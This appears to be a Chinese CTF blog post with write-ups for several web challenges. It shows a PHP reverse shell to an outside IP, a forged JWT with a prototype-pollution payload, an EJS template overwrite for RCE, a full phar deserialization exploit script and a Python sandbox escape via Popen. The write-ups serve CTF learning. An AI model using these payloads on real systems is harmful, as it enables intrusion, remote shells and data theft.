本文最后更新于 2026年6月2日 晚上
放开我的变量 首先这道题肯定已经被刷爆了,所以就来谈谈个人做题感想
按照常规做ctf题规,肯定扫了一遍目录后就知道是robots.txt造成的目录泄露了
随后,看到题目中的后门中能直接连上蚁剑,看到根目录有flag文件,但是打开是空的,所以故认为是提权漏洞
但不得不多说一句,这道题目打反弹shell的话应该也是做的出来的(毕竟给了eval代码端口)
回到正题,先看看start.sh:
1 2 3 4 5 6 7 8 9 10 11 #!/bin/bash cd /var/www/html/primarywhile :do cp -P * /var/www/html/marstream/ chmod 755 -R /var/www/html/marstream/ sleep 5sdone &exec apache2-foreground
cp指令参数
选项
名称/含义
对命令行参数中的符号链接
对目录内部的符号链接
备注
-P
不跟随 (Preserve link)
复制链接本身
复制链接本身
通常是默认行为
-H
仅命令行跟随
复制链接指向的目标
复制链接本身
只对直接列出的源起作用
-L
总是跟随 (Follow link)
复制链接指向的目标
复制链接指向的目标
与 -P 行为完全相反
这里代码意思大概是要移动至/var/www/html/primary文件,在这个文件里面存在cp提权漏洞 原理大概是: -P 意味着将文件名当作命令行选项执行,包括我们后面需要用到的-***的文件复制漏洞
我们后面就是要通过在此的侧通道权限绕过:
先在primary文件夹里面创建一个空文件:-H
随后写入/flag导出链接:
最后回到marstream文件夹里面,发现刚刚写的Flag文件,找到flag:
后记和另一种解法 这道题主要考查的是cp越权漏洞,重在我们拿flag的方式,传统的tac,whoami等提权指令不起作用
所以我们只能换个思路:
还是先试试我的反弹shell吧:
先传
回显:
所以不难发现,本题目内的服务器没有-e,所以只能换种bash自带的方法:
1 $s =fsockopen("你的IP" ,4444);fwrite($s ,"hello\n" );
这边测试了一下最简单的探针回显hello,成功:
然后构造payload通过php的回调函数连接上webshell:
1 $s =fsockopen("107.148.174.76" ,11451);proc_open("/bin/sh -i" , [0=>$s ,1=>$s ,2=>$s ], $pipes );
随后操作就跟蚁剑一样了
这使我了解到:反弹shell只是能从一个正常的端口弹出那些本无回显的文本,并不能说是一种”提权手段“
所以,该提权的还是老老实实去提权吧。。。
长月夜 首先题目附件给了一个app.json,先分析查找可利用的代码
先看到验证登录段
1 2 3 4 5 6 7 8 9 10 11 12 function Check(token){ if(!token){ res.redirect('/login'); } const data = jwt.decode(token); if(data.username === "admin" ){ return true ; } else{ return false ; } }
再结合后面这一段check
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 function Admin_Check(req, res, next){ const token = req.cookies.token || req.headers.authorization?.split(' ')[ 1 ] ; if(!token){ return res.redirect('/login', { message: "Need Login!" } ); } try{ const data = jwt.decode(token); if(data.username === 'admin'){ return next(); } else{ return res.redirect('/trailblazer'); } } catch (err){ return res.redirect('/login'); } }
可以发现存在jwt密钥伪造漏洞,且题目没有对session做任何验证手段,这也就意味着我们只需更改session里面的role即可以管理员的身份登录
再接着往下看
1 2 3 4 5 6 7 8 9 10 11 12 13 app.post('/admin_club1st', Admin_Check, (req, res) => { let body = req.body; let evernight = Object.create(CONFIG); let min_public_time = CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time; merge(evernight, body); let en = Object.create(CONFIG); if (en.min_public_time < "2025-08-03" ) { return res.render('march7th', { message: FLAG} ); } return res.render('evernight');} );
可以发现当min_public_time小于2025-08-03时会回显flag,所以也很清楚了。当访问/admin_club1st时,会检测min_public_time并继承自merge函数里的body和everynight
所以也很明显了,js原型链污染漏洞成立,所以尝试一下简单的payload:
1 { "__proto__" : { "min_public_time" : "2024-08-03" } }
于是整条攻击链就出来了:
1 随便注册一个账户->拿/改session->登录管理员身份->拿flag
实操 先随便注册一个账号并登录拿到session
然后修改session:
1 eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicGFzc3dvcmQiOiIxMjMiLCJpYXQiOjE3ODAyMzUxNjcsImV4cCI6MTc4MDI3MTE2N30.OA1FNdAv4fEbPdHuaz43jO4s-j1yuRPfEKPRHNeZSYM
登录/admin_club1st
记得改POST和json格式
拿到flag
0xGame{Back_to_Earth_in_Evernight}
这真的是文件上传 这道题给了App.js
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 const express = require ('express' );const ejs = require ('ejs' );const fs = require ('fs' );const path = require ('path' );const app = express (); app.set ('view engine' , 'ejs' ); app.use (express.json ({ limit : '114514mb' }));const STATIC_DIR = __dirname;function serveIndex (req, res ) { var whilePath = ['index' ]; var templ = req.query .templ || 'index' ; if (!whilePath.includes (templ)){ return res.status (403 ).send ('Denied Templ' ); } var lsPath = path.join (__dirname, req.path ); try { res.render (templ, { filenames : fs.readdirSync (lsPath), path : req.path }); } catch (e) { res.status (500 ).send ('Error' ); } } app.use ((req, res, next ) => { if (typeof req.path !== 'string' || (typeof req.query .templ !== 'string' && typeof req.query .templ !== 'undefined' && typeof req.query .templ !== null ) ) res.status (500 ).send ('Error' ); else if (/js$|\.\./i .test (req.path )) res.status (403 ).send ('Denied filename' ); else next (); }) app.use ((req, res, next ) => { if (req.path .endsWith ('/' )) serveIndex (req, res); else next (); }) app.put ('/*' , (req, res ) => { const filePath = path.join (STATIC_DIR , req.path ); fs.writeFile (filePath, Buffer .from (req.body .content , 'base64' ), (err ) => { if (err) { return res.status (500 ).send ('Error' ); } res.status (201 ).send ('Success' ); }); }); app.listen (80 , () => { console .log (`running on port 80` ); });
找到渲染点
1 2 3 4 app.use ((req, res, next ) => { if (req.path .endsWith ('/' )) serveIndex (req, res); else next (); })
发现当访问首页的时候会渲染serveIndex()函数,故可以联想到ejs的渲染漏洞
然后着重分析一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 function serveIndex (req, res ) { var whilePath = ['index' ]; var templ = req.query .templ || 'index' ; if (!whilePath.includes (templ)){ return res.status (403 ).send ('Denied Templ' ); } 和 app.put ('/*' , (req, res ) => { const filePath = path.join (STATIC_DIR , req.path ); fs.writeFile (filePath, Buffer .from (req.body .content , 'base64' ), (err ) => { if (err) { return res.status (500 ).send ('Error' ); } res.status (201 ).send ('Success' ); }); });
这里是两段有关渲染输入输出的指定函数,首先根据提示 // Useless Check , So It's Easier可以得知不会对上传的模板进行过多检查,也就意味着可以随意上传恶意渲染模板而提示// Why Filepath Not Check ?又说明没有对提取访问的文件路径进行过多检查,所以我们可以得出结论,这道题目就是通过访问特定路径进行ejs模板的覆盖然后实现rce
随后找注入点
1 2 3 4 fs.writeFile (filePath, Buffer .from (req.body .content , 'base64' ), (err ) => { if (err) { return res.status (500 ).send ('Error' ); }
从这里可以发现是从body的content函数来继承(获取)模板,虽然做了waf
1 else if (/js$|\.\./i .test (req.path )) res.status (403 ).send ('Denied filename' );
但是也只是防止了文件上传的js后缀和目录穿越的..,所以无伤大雅
构造payload先在环境变量里寻找flag:
1 {"content" :"<pre><%=process.env.FLAG%></pre>" }
然后转base64访问/views/index.ejs/.,这里用到了一个绕过来防waf
这里有个小细节,就是这里写文件的路由只注册了PUT,所以我们要用PUT去访问
最后访问首页,拿到flag
文件查询器(蓝) 打开首页发现是要自己上传文件并自己进行文件包含的题目
浅浅的fuzz了一下,发现有文件头过滤,会检查上传文件的内容
非预期解 及通过目录穿越/../../../../../../../../../../../proc/self/environ访问环境变量拿到flag,而这也正是网上最多的解法,打出来后base64解码即可得到
正解 首先访问./index.php拿到源码中有关waf的部分
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 <?php error_reporting (0 );class MaHaYu { public $HG2 ; public $ToT ; public $FM2tM ; public function __construct ( ) { $this -> ZombiegalKawaii (); } public function ZombiegalKawaii ( ) { $HG2 = $this -> HG2; if (preg_match ("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i" ,$HG2 )) { die ("这这这你也该绕过去了吧" ); } else { $this -> ToT = "这其实是来占位的" ; } } public function __destruct ( ) { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow" ; var_dump ($HG2 ($FM2tM )); } }$file =$_POST ['file' ];if (isset ($_POST ['file' ])) { if (preg_match ("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i" , $file )) { die ("对方撤回了一个请求,并企图萌混过关" ); } echo base64_encode (file_get_contents ($file )); }
发现有正则匹配
/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i
和
/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i
看到存在__construct()和__destruct()类,可以联想到phar反序列化
分析一下 __construct()类 首先是一个MaHaYu主类,有三个对象,将参数传给ZombiegalKawaii方法的HG2进行正则匹配
但是,看到最后只回显个这其实是来占位的,所以可以判断这个ToT类没啥子用
__destruct()类 这里才是反序列化的核心,合并上
1 2 3 4 5 6 7 8 9 $file =$_POST ['file' ];if (isset ($_POST ['file' ])) { if (preg_match ("/'[\$%&#@*]|flag|file|base64|go|git|login|dict|base|echo|content|read|convert|filter|date|plain|text|;|<|>/i" , $file )) { die ("对方撤回了一个请求,并企图萌混过关" ); } echo base64_encode (file_get_contents ($file )); }
一同构成RCE的端口
于是便构造phar文件,并以双后缀的形式绕过前端后缀验证1.phar.png
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 <?php error_reporting (0 );class MaHaYu { public $HG2 ; public $ToT ; public $FM2tM ; public function __construct ( ) { $this -> ZombiegalKawaii (); } public function ZombiegalKawaii ( ) { $HG2 = $this -> HG2; if (preg_match ("/system|print|readfile|get|assert|passthru|nl|flag|ls|scandir|check|cat|tac|echo|eval|rev|report|dir/i" ,$HG2 )) { die ("这这这你也该绕过去了吧" ); } else { $this -> ToT = "这其实是来自各位的" ; } } public function __destruct ( ) { $HG2 = $this -> HG2; $FM2tM = $this -> FM2tM; echo "Wow" ; var_dump ($HG2 ($FM2tM )); } }$a = new MaHaYu ();$a -> HG2 = "getenv" ;$a ->FM2tM="FLAG" ; $phar = new Phar ("2.phar" ); $phar ->startBuffering ();$phar ->setStub ('<?php __HALT_COMPILER(); ?>' ); $phar ->setMetadata ($a );$phar ->addFromString ("exp.txt" , "test" ); $phar ->stopBuffering (); $fp = gzopen ("2.phar.gz" , 'w9' );gzwrite ($fp , file_get_contents ("2.phar" ));gzclose ($fp ); @rename ("2.phar.gz" , "1.phar.png" );?>
最后获得flag
消栈逃出沙箱(1)反正不会有2(pyjail) 这题显而易见,考的pyjail,但是跟vnctf2026的又很不一样
首先进入首页拿到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from flask import Flask, request, Responseimport sysimport io app = Flask(__name__) blackchar = "&*^%#${}@!~`·/<>" def safe_sandbox_Exec (code ): whitelist = { "print" : print , "list" : list , "len" : len , "Exception" : Exception } safe_globals = { "__builtins__" : whitelist } original_stdout = sys.stdout original_stderr = sys.stderr sys.stdout = io.StringIO() sys.stderr = io.StringIO() try : exec (code, safe_globals) output = sys.stdout.getvalue() error = sys.stderr.getvalue() return output or error or "No output" except Exception as e: return f"Error: {e} " finally : sys.stdout = original_stdout sys.stderr = original_stderr@app.route('/' ) def index (): return open (__file__).read()@app.route('/check' , methods=['POST' ] ) def check (): data = request.form['data' ] if not data: return Response("NO data" , status=400 ) for d in blackchar: if d in data: return Response("NONONO" , status=400 ) secret = safe_sandbox_Exec(data) return Response(secret, status=200 )if __name__ == '__main__' : app.run(host='0.0.0.0' , port=9000 )
首先指出黑名单:
1 blackchar = "&*^%#${}@!~`·/<>"
不算很严,一些常见的字符都没ban,看到关键代码:
1 2 3 4 5 6 7 8 9 10 11 12 @app.route('/check' , methods=['POST' ] ) def check (): data = request.form['data' ] if not data: return Response("NO data" , status=400 ) for d in blackchar: if d in data: return Response("NONONO" , status=400 ) secret = safe_sandbox_Exec(data) return Response(secret, status=200 )
因为没有echo或print,所以传输data的时候要注意加上print(),首先试试基础探测
没问题,让ai帮忙整理一下可利用的模块
找到Popen模块在最后行(即-1行),故调用该模块,然后又因sandbox禁止变量赋值,所以不用常规的赋值执行,改成单行执行
1 print ('' .__class__.__base__.__subclasses__()[-1 ](['ls' ], stdout=-1 ).communicate()[0 ])
成功回显当前目录
读取环境变量,发现flag